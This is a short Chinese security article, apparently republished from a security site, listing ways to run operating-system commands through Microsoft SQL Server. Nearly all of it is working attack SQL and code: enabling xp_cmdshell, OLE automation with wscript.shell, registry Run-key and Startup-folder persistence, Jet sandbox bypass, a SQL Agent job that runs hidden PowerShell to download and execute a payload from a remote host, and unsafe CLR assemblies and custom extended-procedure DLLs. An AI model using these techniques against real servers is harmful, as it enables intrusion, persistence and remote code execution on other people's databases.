本文讲的是
如何通过SQL Server执行系统命令?,
0x00 简介
exec master..xp_cmdshell "whoami"
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式) create table cmd (a image)-- (新建立一个cmd表) backup database test to disk = 'D:\\temp\\cmd' WITH init -- backup log test to disk = 'D:\\temp\\cmd1' WITH init -- (减少备分数据的大小) insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40) -- (插入cmd命令) backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径) drop table cmd --(删除新建的cmd表) alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
1、在SQL Server上能启用CLR并可以创建自定义存储过程 2、SQL Server当前账号具有执行命令/代码所需要的权限
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
CREATE ASSEMBLY AssemblyName from 文件十六进制流
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void SqlStoredProcedure1 () { // 在此处放置代码 System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt"; process.Start(); } }
CREATE ASSEMBLY [ExecCode] AUTHORIZATION [dbo] FROM 0x4D5A[...snip...] WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[SqlStoredProcedure1] AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
EXEC sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE --开启clr enabled 选项 EXEC sp_configure N'clr enabled', N'1' RECONFIGURE WITH OVERRIDE --关闭所有服务器配置选项 EXEC sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE --如果存在权限问题,执行下面一段脚本 alter database [master] set TRUSTWORTHY on EXEC sp_changedbowner 'sa'
EXEC [dbo].[SqlStoredProcedure1];
DROP PROCEDURE [dbo].[SqlStoredProcedure1]; DROP ASSEMBLY ExecCode
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1 PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\ test.txt" -ExportName xp_test
//via local disk sp_addextendedproc 'xp_test', 'D:\temp\exec.dll' //via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
exec master..xp_test;
sp_dropextendedproc 'xp_test'
原文发布时间为:2017年2月14日
本文作者:Evi1cg
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。